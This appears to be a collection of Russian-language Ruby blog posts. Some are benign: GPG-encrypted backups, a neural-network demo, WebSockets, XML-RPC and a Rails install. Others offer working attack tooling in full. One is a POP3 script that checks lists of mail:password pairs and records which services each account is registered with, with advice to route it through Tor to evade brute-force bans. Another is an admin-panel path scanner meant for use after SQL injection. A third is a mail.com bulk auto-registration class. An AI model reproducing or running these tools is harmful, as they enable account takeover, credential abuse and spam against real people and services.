утилита GPG

Установка, естественно, от пользователя с root-правами.
На RedHat’ах:

yum install pgp

На Debian’ах:

apt-get install pgp

Для создания ключей все та же команда, выполнять которую можно от рядового пользователя.

gpg --gen-key

Далее понадобится экспорт ключей в текстовый файл. В командах ниже username@email, разумеется, надо заменить на почту указанную при генерации.

Экспорт публичного ключа:

gpg --output public.pgp --armor --export username@email

Экспорт закрытого (приватного) ключа:

gpg --output private.pgp --armor --export-secret-key username@email

Если требуется, после экспорта ключей их можно удалить. Сначала удаляется закрытый ключ:

gpg --delete-secret-keys username@email

Затем открытый:

gpg --delete-keys username@email

Вывести список всех импортированных ключей:

gpg --list-keys

gem backup и PGP-ключ

Установка гема:

gem install backup

Cоздание модели (в данном примере модель называется ekzample) для бекапа:

backup generate:model --trigger ekzample
Generated model file: '~/Backup/models/ekzample.rb'.

Далее, для настройки нужного бекапа, следует отредактировать ~/Backup/models/ekzample.rb.

В примере ниже показан конфиг для резервного копирования базы MySQL с последующим сжатием в tar и шифрованием архива PGP-ключом, после чего зашифрованный файл отправляется по SFTP на бекап-сервер.

# encoding: utf-8
 
##
# Backup Generated: ekzample
# Once configured, you can run the backup with the following command:
#
# $ backup perform -t ekzample [-c <path_to_configuration_file>]
#
# For more information about Backup's components, see the documentation at:
# http://backup.github.io/backup
#
Model.new(:ekzample, 'Description for ekzample') do
 
  split_into_chunks_of 500
 
  Encryptor::GPG.defaults do |encryption|
    encryption.keys = {}
    encryption.keys['username@email'] = <<-KEY
      -----BEGIN PGP PUBLIC KEY BLOCK-----
      ...it is place for PUBLIC KEY...
      -----END PGP PUBLIC KEY BLOCK----
    KEY
    encryption.recipients = 'username@email'
  end
 
  database MySQL do |db|
    db.name  = 'exampledb'
    db.username = 'exampleuser'
    db.password = 'examplepass'
  end
 
  compress_with Gzip
  encrypt_with GPG
 
  store_with SFTP do |server|
    server.username = 'backupuser'
    server.password = 'backuppass'
    server.ip       = '111.111.111.111'
    server.port     = 22
    server.path     = '~/'
    # Use a number or a Time object to specify how many backups to keep.
    server.keep     = 150
 
    # Additional options for the SSH connection.
    # server.ssh_options = {}
  end
 
end

Не стоит забывать вставить между <<-KEY и KEY созданный ранее ПУБЛИЧНЫЙ (открытый) ключ.

Для более тонкой настройки PGP-ключей, например, разные ключи для разных баз, следует воспользоваться официальной документацией.

Запускается создание бекапа командой:

backup perform -t ekzample

извлечение бекапа

Если в системе нет ключей, используемых данным бекапом, следует их импортировать:

gpg --import private.pgp
gpg --import public.gpg

Далее чтобы расшифровать резервную копию понадобится команда:

gpg -o ekzample.tar -d ekzample.tar.gpg

Для распаковки тарбола подойдет команда:

tar -xvf ekzample.tar

<a id="__cf_email__" href="http://cloudflare.com/email-protection.html" class="f091809582839f9eb080999e97848582849c95de939f9d">[email protected]</a>

Где f091809582839f9eb080999e97848582849c95de939f9d – зашифрованная почта.

Реализации расшифровщика Cloudflare Email Encrypt существуют на множестве языков, например товарищ xl7dev представил Cloudflare Email Protection Decoder на PHP и Python. Но разве прогрессивное человечество еще использует эти древние мантры?

Cloudflare Email Protection Decoder на Ruby

def cf_decode(code)
  k=code[0..1].hex
  (2..(code.size-1)).step(2).to_a.map{|i| (code[i..(i+1)].hex^k).chr}.join
end

$ irb
2.0.0-p648 :001 > def cf_decode(code)
2.0.0-p648 :002?>     k=code[0..1].hex
2.0.0-p648 :003?>     (2..(code.size-1)).step(2).to_a.map{|i| (code[i..(i+1)].hex^k).chr}.join
2.0.0-p648 :004?>   end
 => nil 
2.0.0-p648 :005 > cf_decode('f091809582839f9eb080999e97848582849c95de939f9d')
 => "aperson@pingturtle.com" 
2.0.0-p648 :006 >

установка

Для установки его под рельсы надо закинуть в Gemfile

gem 'ruby-fann'

и забандлить

bundle install

установка graphviz

Еще для отображения графической схемы нейронной сети можно воспользоваться graphviz. Эта штука вроде как должна экспортировать графическую схему сетки в PNG или VRML.

yum install graphviz
gem install ruby-graphviz

эксплуатация

У гема есть подробная документация.
В качестве примера я не буду дублировать код на сайте гема, а приведу нейросеть для решения классической задачи с XOR, только с большим количеством нейронов.

Код упакован в rake-файл рельс.

namespace :test do
  desc 'test NN'
  task :nn => :environment do
 
    require 'ruby_fann/neural_network'
    require 'ruby_fann/neurotica' #только для graphviz
 
    #объявляется ИНС
    fann = RubyFann::Standard.new(
	:num_inputs=>2, #входы
	#кол-во нейронов на первом и 
        #втором уровнях соответственно
	:hidden_neurons=>[3, 2], 
	:num_outputs=>1 #выходы
    )
 
    #обучение
    pairs=[[0,0],[1,0],[0,1],[1,1]] #учебные данные
    training_data = RubyFann::TrainData.new(
  	:inputs=>pairs, 
  	#правильные результаты в соответствии с учебными данными
  	:desired_outputs=>[[0],[1],[1],[0]] 
    )
 
    #собственно само обучение
    fann.train_on_data(
	training_data, #данные для обучения
	1000, #макс. кол-во эпох
	1, #кол-во эпох спустя которые выводить рез-тат
	0.01 #допустимая погрешность
    )
 
    #проверка обученности сети
    pairs.each do |pair|
	puts "#{pair}: #{fann.run(pair)}"
    end
 
    #вывод полученных нейронов
    fann.get_neurons.each {|n| p n}
 
    #вывод графической схемы
    graph=RubyFann::Neurotica.new()
    graph.graph(fann, 'xor_nn.png')
  end
end

$ bundle exec rake test:nn
Max epochs     1000. Desired error: 0.0099999998.
Epochs            1. Current error: 0.2501267791. Bit fail 4.
Epochs            2. Current error: 0.2520069778. Bit fail 4.
Epochs            3. Current error: 0.2551138699. Bit fail 4.
Epochs            4. Current error: 0.2513942719. Bit fail 4.
Epochs            5. Current error: 0.2500072420. Bit fail 4.
...
Epochs          370. Current error: 0.0440760627. Bit fail 1.
Epochs          371. Current error: 0.0343447179. Bit fail 0.
Epochs          372. Current error: 0.0233961642. Bit fail 0.
Epochs          373. Current error: 0.0175627228. Bit fail 0.
Epochs          374. Current error: 0.0113563286. Bit fail 0.
Epochs          375. Current error: 0.0067548323. Bit fail 0.
[0, 0]: [0.045396712927026114]
[1, 0]: [0.9389753126711914]
[0, 1]: [0.9501094945639519]
[1, 1]: [0.061412697926247546]
{:activation_function=>:linear, :activation_steepness=>0.0, :layer=>0, :sum=>0.0, :value=>1.0, :connections=>[]}
{:activation_function=>:linear, :activation_steepness=>0.0, :layer=>0, :sum=>0.0, :value=>1.0, :connections=>[]}
{:activation_function=>:sigmoid_stepwise, :activation_steepness=>0.5, :layer=>1, :sum=>1.3608390766086655, :value=>0.9258633161869951, :connections=>[0, 1, 2]}
{:activation_function=>:sigmoid_stepwise, :activation_steepness=>0.5, :layer=>1, :sum=>5.5199047483640955, :value=>1.0, :connections=>[0, 1, 2]}
{:activation_function=>:sigmoid_stepwise, :activation_steepness=>0.5, :layer=>1, :sum=>1.7510475747029322, :value=>0.9606836699618748, :connections=>[0, 1, 2]}
{:activation_function=>:sigmoid_stepwise, :activation_steepness=>0.5, :layer=>2, :sum=>-2.005618142945213, :value=>0.029562103469001694, :connections=>[3, 4, 5, 6]}
{:activation_function=>:sigmoid_stepwise, :activation_steepness=>0.5, :layer=>2, :sum=>-2.3070915806646646, :value=>0.018010737799533, :connections=>[3, 4, 5, 6]}
{:activation_function=>:sigmoid_stepwise, :activation_steepness=>0.5, :layer=>3, :sum=>-1.4195548161431304, :value=>0.061412697926247546, :connections=>[7, 8, 9]}
rake aborted!
graph attribute 'output' invalid
/usr/local/rvm/gems/ruby-1.9.2-p290/gems/ruby-graphviz-1.0.8/lib/graphviz/attrs.rb:53:in `[]='
/usr/local/rvm/gems/ruby-1.9.2-p290/gems/ruby-graphviz-1.0.8/lib/graphviz.rb:378:in `[]='
/usr/local/rvm/gems/ruby-1.9.2-p290/gems/ruby-graphviz-1.0.8/lib/graphviz.rb:901:in `block in initialize'
/usr/local/rvm/gems/ruby-1.9.2-p290/gems/ruby-graphviz-1.0.8/lib/graphviz.rb:878:in `each'
/usr/local/rvm/gems/ruby-1.9.2-p290/gems/ruby-graphviz-1.0.8/lib/graphviz.rb:878:in `initialize'
/usr/local/rvm/gems/ruby-1.9.2-p290/gems/ruby-fann-1.1.3/lib/ruby_fann/neurotica.rb:37:in `new'
/usr/local/rvm/gems/ruby-1.9.2-p290/gems/ruby-fann-1.1.3/lib/ruby_fann/neurotica.rb:37:in `graph'
/home/username/ror/nn/lib/tasks/test.rake:42:in `block (2 levels) in <top (required)>'
Tasks: TOP => test:nn
(See full trace by running task with --trace)

Как видно по ошибке в конце вывода, удалось все кроме создания PNG-файла. Но т.к. graphviz далеко не самый важный и нужный элемент, то и Бог с ним.
Описываемое далее выходит за рамки темы объявленной в заголовке, однако, чтобы не забыть я напишу.

определение количества нейронов

Теоретически, именно теоретически, количество нейронов определяется по формуле из следствия теорем Арнольда – Колмогорова – Хехт-Нильсена:

N_y — количество выходов;
Q — количество обучающих примеров;
N_w — необходимое число синаптических связей;
N_x — количество входов.
Из этого неравенства следует, что количество нейронов для сети с одним скрытым слоем определяется:

Если нарисовать схему нейросети с более чем одним скрытым слоем, то становится очевидным равенство:

l — количество слоев;
N_i — количество нейронов в i-м слое.
Если же в каждом скрытом слое подразумевается одно и тоже количество нейронов, то тождество преобретает вид:

Решив квадратное уравнение относительно N и отбросив заведомо отрицательный корень, получаем, что количество нейронов в каждом скрытом слое определяется по формуле:

На этом с математикой пока все. Все что идет после следствия из теорем выводилось мной, поэтому возможна ошибка.

суть вкратце

Читаем поочередно из файла логины и пароли от почт, после чего заходим на них по POP3.

Далее проходимся по всем сообщениям и если это сообщение от нужного нам адреса, например Вконтакте.Ру (admin@vkontakte.ru), то добавляем этот логин в нужный список, удаляем из массива этого адресата и идем по его сообщениям дальше. Сканирование одной почты продолжается до тех пор пока не кончатся все адресаты или не закончатся сообщения в почте. Далее берем следующий e-mail.

скрипт

Скрипт написан на Ruby и работает как на версии 1.8, так и на 1.9. Пробовал его только на Linux, но подозреваю, что на Windows он тоже будет прекрасно работать.

получение параметров и начальная настройка

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

#!/usr/bin/ruby
require 'net/pop'
 
if ARGV.size!=3
  puts "<infile> <logfile> <start no>"
  exit
end
 
$infile,$logfile,$start_no=ARGV
$start_no=$start_no.to_i
 
$service=['torrents.ru','tfile.ru','skype.com',
  'ozon.ru','odnoklassniki.ru','smartpay.com.ua',
  'vkontakte.ru', 'webmoney.ru','moneybookers.com',
  'e-gold.com','e-port.ru','agava.ru',
  'hoster.ru','dinohost.ru','eskhosting.ru',
  'infobox.ru','zemskov.ru','art-host.ru']

Итак, скрипт получает в командной строке 3 параметра:

1. файл, содержащий почты и пароли от них в формате mail@example.ru:passwd, причем каждая почта на новой строке
2. файл лога, сюда будут записываться все почты, к которым не удалось авторизоваться  и другие ошибки
3. номер почты в $infile, с которой нужно начать работу. Нумерация с нуля.

Далее идет массив, содержащий сервисы на которые будут сканироваться аккаунты почт. Смысл здесь в домене т.е. сюда нужно добавлять домены с которых высылаются e-mail’ы этих сервисов.

некоторые неключевые функции

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

def exist(str,file)
  outf=File.open(file,'a')
  outf.puts "#{Time.now}: #{str}"
  outf.close
end
 
def log(text,file)
  logf=File.open(file,'a')
  logf.puts "#{Time.now}: #{text}"
  logf.close
  puts "#{Time.now}: #{text}"
end
 
def check_letter(head,service)
  service.each_with_index {|se,i| return i if head.include?(se)}
  return -1
end

Немного объясню функции:

• exist – записывает аккаунт почты в файл одноименный с доменом сервиса, в случае если почта зарегистрирована в этом сервисе
• log – записывает сообщение в файл лога
• check_letter – проверяет заголовок письма на наличие домена сервиса, обходя массив сервисов. В случае если письмо отправлено от нужного домена возвращает индекс этого домена в массиве, в противном случае возвращает -1.

функция сканирования почты

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

def check(mail,pass,service)
    # разбиваем почтовый адрес @, на логин и домен
    login,pop_server=mail.split('@')
    pop_server='pop.'+pop_server
    count_reg=0
 
    begin
        pop=Net::POP3.new(pop_server)
    rescue => e
        return -2
    end#begin
 
    # соединяемся с POP3-сервером
    begin
        pop.start(login,pass)
    rescue => e
      return -1
    end#begin
 
    begin
    # обходим письма в почте
    pop.mails.each do |msg|
        hed=msg.header
        STDOUT.flush
 
        if (si=check_letter(hed,service))>=0
	  print '!' ###
          exist("#{mail}/#{pass}",service[si])
          # удаляем сервис из экземпляра
          # индивидуального массива сервисов
          # для данной почты
          service.delete_at(si)
          count_reg+=1
          if service.size==0
            pop.finish
            return count_reg
          end#if
 
        else
	   print '.'
	end#if
 
    end#each
    rescue EOFError
      pop.finish
      return -4
    rescue Timeout::Error
      pop.finish
      return -3
    rescue Net::POPError
      pop.finish
      return -5
    end#begin
 
    pop.finish
    return count_reg
end#def

Тут следует кое-что учесть. Эта функция в самом своем начале разбивает e-mail адрес на логин @ домен, после чего адрес POP3-сервера получается из суммы ‘pop.’+домен.
Такая схема работает для бесплатных обывательских почт типа: mail.ru, rambler.ru, yandex.ru, hotmail.com итд. Однако, если почта не от популярных сервисов бесплатных почт, то адрес POP3-сервера может быть какой угодно.
Также нужно знать, если домен настроен, например, в услуге Яндекса ‘Почта для домена’, то логин будет равен адресу почты целиком, а не только его первая часть до собаки (@).

обход исходного файла

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

inf=File.open($infile,'r')
i=0
# крутим файл до заданной начальной строки
while(i<$start_no) do
  str=inf.gets
  i+=1
end
 
# построчно обходим файл
while !inf.eof do
  str=inf.gets.chop!
  print "#{i})#{str} checking..." ###
  STDOUT.flush
  ret=check(str.split(":")[0],str.split(":")[1],$service).to_i
  case ret
    when -3
      log("Unknow time is out #{str}",$logfile)
    when -2
      log("Can't connect to the server #{str}",$logfile)
    when -1
      log("Can't auth #{str}",$logfile)
    when 0
      puts "FAIL #{str}"
    else
      puts "#{Time.now}: #{str} SUCCESS #{ret}"
  end
  i+=1
end
inf.close

Ну тут все просто и примитивно.

заключение

Следует помнить, что доступ по POP3 вообще может быть отключен у почты, в этом случае почта будет добавлен в лог, как имеющая не верный пароль. Помимо этого если в списке много раз будет не проходить авторизация, то тот или иной POP3-сервер может забанить ваш IP за брутфорс, чтобы такого не было рекомендую запускать скрипт через известную связку TOR-Privoxy-Proxychains.

Целиком скрипт можно скачать тут - check_mail_for_diff_accs.rb.

суть

WS-сервер, который рассмотрен здесь, вовсе не сервер типа Apache, а простая библиотека Ruby, которая берет всю заботу о соблюдении норм протокола на себя.

установка

Для начала нужно установить компилятор g++, именно его т.к. последующие гемы пользуются им, а не gcc. Не знаю как других дистрах, а в Fedora’е gcc и g++ 2 разных пакета.

yum install gcc-c++

Теперь надо установить несколько гемов:

gem install eventmachine em-websocket em-http-request

Официальная страница библиотеки – https://github.com/igrigorik/em-websocket

пример

серверная часть

Я взял пример с офстраницы и чуть-чуть его видо изменил, добавив вывод в консоль клиентского сообщения:

1
2
3
4
5
6
7
8
9
10

require 'em-websocket'
 
EventMachine::WebSocket.start(:host => "0.0.0.0", :port => 8080) do |ws|
  ws.onopen    { ws.send "Hi!"}
  ws.onmessage do |msg|
	ws.send "Pong: #{msg}"
	puts msg
  end
  ws.onclose   { puts "WebSocket closed" }
end

Этот код будет слушать порт 8080 на localhost. Когда к нему присоединяется клиент, то он ему отправляет ‘Hi!’, далее на каждое клиентское сообщение он отвечает эхо-ответом "Pong: #{msg}".

клиентская часть

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8'/>
<title>ХТМЛ5</title>
 
<script>
 
function log(e){
	lg=document.getElementById('log');
	lg.innerHTML=lg.innerHTML+(e+"\r\n");
}
 
w=new WebSocket'ws://localhost:8080'); //создаем сокет
 
// при открытии соединения выводим 'open' и
// отправляем 'client open'</span>
w.onopen=function(){ log("open"); w.send('client open'); }
 
// полученное сообщение выводим
w.onmessage=function</span>(e){ log(e.data);}
 
// при закрытии выводим 'client closed'
w.onclose=function(e){ log("client closed");}
 
// по нажатию на клавишу отправляем содержимое поля,
// выводим и чистим поле
function oncl(){
 txt=document.getElementById('txt');
 w.send(txt.value); log('-'+txt.value); txt.value=''; }
</script>
 
</head>
<body>
<input type='button' id='btn' value='ok' onClick='oncl();'>
<input type='text' id='txt' />
<div id='log' 
  style='border:1px solid black; width:400px; height:500px;'>
</div>
</body>
</html>

Разметка представляет из себя поле, кнопку и div 400×500 с черной рамкой, что касается кода, то тут собственно все росписано в комментариях, а если по серьезному то нужно читать специализацию HTML5 по WebSockets.

P.S. чем больше будет сайтов на HTML5 тем быстрее люди перейдут на него.

XML-RPC

Для XML-RPC в Ruby замечательная библиотека с одноименным названием XMLRPC.

И для примера рассмотрим как ей пользоватся:

1
2
3
4
5
6
7
8
9

require 'xmlrpc/client'
XMLRPC::Client.class_eval do
    def parse_content_type(a)
      ['text/xml']
    end
  end
 
client = XMLRPC::Client.new2("http://site.ru/xml")
result = client.call("xmlrpc.cmd")

Перегрузка parse_content_type нужна для того, чтобы Ruby не смущался, когда заголовок у выходного документа не text/xml. Об этой штуке я прочитал на http://blog.alno.name/ru/2009/03/xmlrpc-in-ruby.

Если для XML-RPC нужна базовая авторизация, то используем

1

client = XMLRPC::Client.new3("http://site.ru/xml",'login','pass')

Однако, на моем опыте не было случаев с базовой авторизацией в XML-RPC. Часто встречалось, что логин и пароль сували как параметры в сам запрос т.е. они были как параметры в запросном XML:

1

result = client.call("xmlrpc.cmd",'login','pass')

На этом, если в ресурсе нет больше никаких примочек, в result будет уже хэш.

base64

Теперь рассмотрим вариант, если выходной XML зашифрован base64. Расшифровывать его можно так:

1
2

require 'base64'
puts Base64.decode64(result)

Однако, это не единственный вариант т.к. в библиотеке XMLRPC есть тоже класс для этого.
Приведу еще пример, как вывести зашифрованный XML во временный файл, предварительно расшифровав.

1
2
3
4
5
6

require 'base64'
require 'tempfile'
 
fl=Tempfile.new('xmlrpc')
fl.print Base64.decode64(result)
fl.close

gzip

Как правило base64 просто так не используют т.к. с точки зрения криптографии он не реализует никакой стоящей защиты данных, а для приведения бинарника к текстовом виду он как раз подойдет.

В Zlib существует 2 метода для сжатия и распаковки строки:

• Zlib::Deflate.deflate(string, level) – сжатие
• Zlib::Inflate.inflate(string) – распаковка

Все было бы очень легко и просто, но к сожалению, Zlib::Inflate.inflate(string) не вернет нам распакованный XML-RPC ответ, единственное, что вы увидите:

1

`inflate': incorrect header check (Zlib::DataError)

Собственно, поэтому нам и потребовалось записать расшифрованный base64 XML во временный файл, чтобы распаковать gzip другим способом:

1
2
3
4
5
6
7
8
9

require 'zlib'
include Zlib
...
fl=Tempfile.new('xmlrpc')
fl.print Base64.decode64(result)
fl.close
xmlrpc=''
Zlib::GzipReader.open(fl.path) {|gz| xmlrpc=gz.read}
fl.close(true)

fl.close(true) с флагом true удаляет временный файл.

получение хэша их XML

Вообще, существует миллион двести различных библиотек и классов для расхэширования XML, но я не буду проводить исследования и воспользуюсь, пусть и не самым быстрым, зато стандартным REXML.

1
2
3
4

require 'rexml/document'
include REXML
...
xml=Document.new xmlrpc

Все, теперь в переменной xml лежит хэш.

установка Ruby on Rails 3 на Fedora 13

Для ROR 3, не подходит Ruby меньше 1.8.7. И так как в моих репозитариях есть только ruby 1.8.6, будем устанавливать из тарбола.

1. качаем последний ruby
   $ wget ftp://ftp.ruby-lang.org//pub/ruby/1.9/ruby-1.9.2-p0.tar.gz
2. распаковываем и устанавливаем
   # tar -xvzf ruby-1.9.2-p0.tar.gz && cd ruby-1.9.2-p0 && ./configure && make && make install

По идее теперь все что нужно установлено, а именно ruby и gem:

# ruby -v
ruby 1.9.2p0 (2010-08-18 revision 29036) [x86_64-linux]
# gem -v
1.3.7

И если на команду

# gem install rails

у вас будет такая реакция

# gem install rails
Successfully installed activesupport-3.0.3
Successfully installed builder-2.1.2
Successfully installed i18n-0.4.2
Successfully installed activemodel-3.0.3
...

то все отлично установилось. У меня же реакция была другая.

# gem install rails
ERROR: Loading command: install (LoadError)
no such file to load -- zlib
ERROR: While executing gem ... (NameError)
uninitialized constant Gem::Commands::InstallCommand

Некоторые, конечно, на этом месте сразу полезут в гуглояндекс в поисках ответа на загвоздку и наткнутся на миллион двести форумов, где рекомендуется скачать и установить библиотеку ruby-zlib

$ wget http://www.blue.sky.or.jp/atelier/ruby/ruby-zlib-0.6.0.tar.gz
$ tar -xvzf ruby-zlib-0.6.0.tar.gz && cd ruby-zlib-0.6.0
# ruby extconf.rb && make && make install

после чего пересобрать gem, возможно это кому-то и помогло, но не мне.

Короче, здесь нужно делать так:

1. если есть в репах zlib, который не установлен – надо его поставить
   # yum install zlib
2. попробывать вариант с RVM

И если это не поможет, а так скорее всего и будет (но zlib из реп все равно надо установить), то воспользоватся безотказным вариантом, который мне подсказал http://babusha.ax3.net/blog/?p=589.

1. заходим в директорию с только что скачанными исходниками ruby 1.9.2
   # cd ruby-1.9.2-p0
2. и далее компилим zlib отсюда
   # cd ext/zlib && ruby extconf.rb && make && make install

Теперь все должно получится
# gem install rails
Successfully installed activesupport-3.0.3
Successfully installed builder-2.1.2
Successfully installed i18n-0.4.2
Successfully installed activemodel-3.0.3
...
Successfully installed bundler-1.0.7
Successfully installed rails-3.0.3
23 gems installed
...
Installing RDoc documentation for railties-3.0.3...
Installing RDoc documentation for bundler-1.0.7...
Installing RDoc documentation for rails-3.0.3...

Все, завтра начну учится делать сайт, после чего здесь все опишу.

Однако, часто так бывает, что на одном хостинге (аккаунт хостинга) размещается куча сайтов, но т.к. аккаунт от хостинга 1, то и сервер БД один, а иногда и БД одна для разных сайтов.

Короче, представим такую ситауцию, вы нашли уязвимое место, скажем SQL-inj, вытащили все пароли, но на этом сайте нет админок или эти пароли не подходят. В таком случае нужно найти все сайты, которые висят на этом сервере или же все сайты, которые принадлежат этому акку хостинга. Узнать последнее – задача не тривиальная, а первое можно через тот же 2ip.ru.

Далее весь этот список сайтов нужно просканировать на различные пути к админке. Havij позволят за 1 раз искать пути только к 1 сайту. А если у нас список из 50-100 сайтов, то каждый раз вбивать в ручную в Havij утомительно.

Я предлагаю такой простенький скриптик, который переберет все пути к списку сайтов. Скачать можно здесь.

конфигурация

Открываем файл config.rb и видим:

1
2
3
4

$site_list="site_list" # список сайтов
$admin_list="admin_list" # список путей к админкам
$th_count=50 # количество потоков
$log_file="log" # лог файл, записываются успешные пути

и все сразу становится понятно.

В архиве прилагается список путей к админкам честно украденный из Havij.

Принцип работы скрипта прост – запрашивает страницу с данным путем и если код ответа сервера не равен 404, то путь записывается в $log_file как успешный.

Еще хочу попросить, если у кого-то есть более полный список путей к админкам, то выложите где-нибудь, пожалуйста.

СИИ для twitter’а гораздо умнее чем для ВК, скажу даже больше: эта СИИ обладает кучей разного рода премий и недавно почти прошла тест Тьюринга на распознование робота и человека. Итак, эта СИИ – A.L.I.C.E.

Бот разговаривает только на английском, однако, т.к. это весьма умный бот (я бы даже сказал, существует целый ряд людей, которые проигрывают ему в интеллекте), он может понимать даже не правильно построенные фразы, сохраняющие оригинальный смысл. Короче говоря, пишите как можете а он все поймет, а если не поймет, то переспросит как понил.

Так как Twitter имеет собственные API, то разбираться с ним не составило особого труда – я взял уже готовую библиотеку на Ruby. Распространяется она через gem и прочитать про нее можно тут, а собственно само описание классов и методов можно найти здесь. Несмотря на все преймущества API для twitter’а, существует весьма существенный недостаток – нельзя делать через API больше 150 запросов в час (нераспространяется на direct messages), поэтому бот может запаздывать с ответом на публичные ‘твиты’ (@) и отвечать на ваше сообщение спустя минуту – две.

Собственно, что я сделал сам, так это добавил логику работы с друзьями(follower) и связал бота с твиттером.

Итак, потрепатся с ботом можно по адресу http://twitter.com/ablact. Зовут его Alice Blacktam и он очень милая девушка, так что не обижайте ее.

Посмотреть процесс можно ниже.

В связи с этим событием, с которым может сравнится только финал ЧМ-2010, в адекватности судьи которого, кстати, я не уверен и не признаю никакого другого ЧМ кроме Нидерландов,  я считаю просто необходимо написать авторегер под эту штуку.

Сам скрипт авторега я не написал еще, да думаю и не надо, каждый и сам сможет переписать выложенный здесь код под свои нужды. А написал я класс или точнее сказать скрипт-библиотеку, естественно на Ruby, который содержит все необходимые методы для регистрации мыла, быть может заисключением проверки адреса на существование.

Сам скрипт

#!/usr/bin/ruby
require ‘net/http’
require ‘net/https’

def str2pc(str)
if !str then return “|ERR=#{str}|” end
i=0
pc=”
while i<str.size do
pc+=”%#{str[i].to_s(16)}”.upcase
i+=1
end
return pc
end

class Acc
attr_accessor :login,:pass,:domain
def initialize(login,pass,domain)
@login=login
@pass=pass
@domain=domain
@http=Net::HTTP.new(‘signup.mail.com’, 443)
@http.use_ssl = true
@path=’/UserInformationB.aspx’
end

def get_headers(refer)
return headers = {
‘Cookie’ => @cookie,
‘Referer’ => refer,
‘Content-Type’ => ‘application/x-www-form-urlencoded’,
‘User-Agent’=> ‘Mozilla/5.0 Gecko/20090909 Windows NT 5.0/9′
}
end

def get_fst_cook
begin
resp, data = @http.get(@path, nil)
@cookie = resp.response['set-cookie']
@__VIEWSTATE=data.split(“__VIEWSTATE\” value=\”")[1].split(“\”")[0]
@__EVENTVALIDATION=data.split(“__EVENTVALIDATION\” value=\”")[1].split(“\”")[0].gsub!(/([^a-zA-Z0-9])/){str2pc($1)}
rescue
return e
end
return 0
end

def reg
begin
data = “__VIEWSTATE=#{@__VIEWSTATE}&__EVENTVALIDATION=#{@__EVENTVALIDATION}&hOptin=2&hdCheckbox=1&hdCampaignCheckbox=0&RefenceCode=event01&TrkID=0000&FirstName=fdsjhfj&LastName=jkvhfsdjk&drpMonth=06&drpDay=07&drpYear=1975&Username=#{@login}&Domainname=#{@domain}&Password=#{@pass}&PasswordConfirm=#{pass}&setpw=False&SecQuestion=3&SecAnswer=bhgfhgfhjfghgfhg&Agreed=Create+Account”
resp, data = @http.post(@path, data, self.get_headers(‘https://signup.mail.com/UserInformationB.aspx’))
@cookie = @cookie+resp.response['set-cookie']
@path=resp['location']
resp, data = @http.get(@path, self.get_headers(‘https://signup.mail.com/UserInformationB.aspx’))
@path=resp['location']
resp, data = @http.get(@path, self.get_headers(“https://signup.mail.com/#{@path}”))
rescue => e
return e
end
return 0
end
end#class

#EXAMPLE
accs=Acc.new(“test”,”example”,”california.usa.com”) #test@california.usa.com:example
puts accs.get_fst_cook
puts accs.reg

Немного разберем скрипт.

Итак, он содержит 1 функцию – str2pc и класс Acc. str2pc преобразует символы в процент-код.

Класс Acc

• метод get_headers – возвращает заголовок пакета
• метод get_fst_cook – получает необходимые кукисы и параметры для дальнейшей регистрации
• метод reg – собственно сама регистрация

Рассмотрим подробнее метод get_fst_cook. Он получает страницу регистрации /UserInformationB.aspx методом GET, а в месте с ней и первые кукисы. Далее парсит страницу на 2 необходимых параметра:

1. __VIEWSTATE
2. __EVENTVALIDATION

причем в __EVENTVALIDATION попутно заменяются все символы, неудовлетворяющие регулярному выражению ([^a-zA-Z0-9]) на процент-код.

Метод reg. Отправляет собственно сам POST-запрос регистрации, а затем 2 GET запроса на страницы /UserInformationB.aspx и той, на которую стоит переадресации в полученном пакете. Последний запрос не обязателен и регистрация пройдет и без него, однако он нужен если вы не хотите получить при входе на мыло страницу о успешной реги и прочей фигне.

Как использовать класс

Все очень просто и пример описан под комментарием #EXAMPLE:

1. в конструкторе вводим логин, пароль и домен – accs=Acc.new(“test”,”example”,”california.usa.com”)
2. вызываем get_fst_cook, в случае ошибки возвращает текст ошибки, иначе 0 – accs.get_fst_cook
3. вызываем reg, в случае ошибки возвращает текст ошибки, иначе 0 – accs.reg

Это все. Чтобы сделать из этой библиотеки полноценный авторегер особого ума не надо, и если же вы все-таки его сделаете незабудьте выложить в паблик.

Скачать скрипт в нормальном виде можно здесь.

P.S. хочу также сказать спасибо nonamez’у за его пост в его блоге, где он поведал о плагине для FireFox Live HTTP Headers, без него было бы тяжко разбирать снифером HTTPS-пакеты. Статью можно прочитать здесь.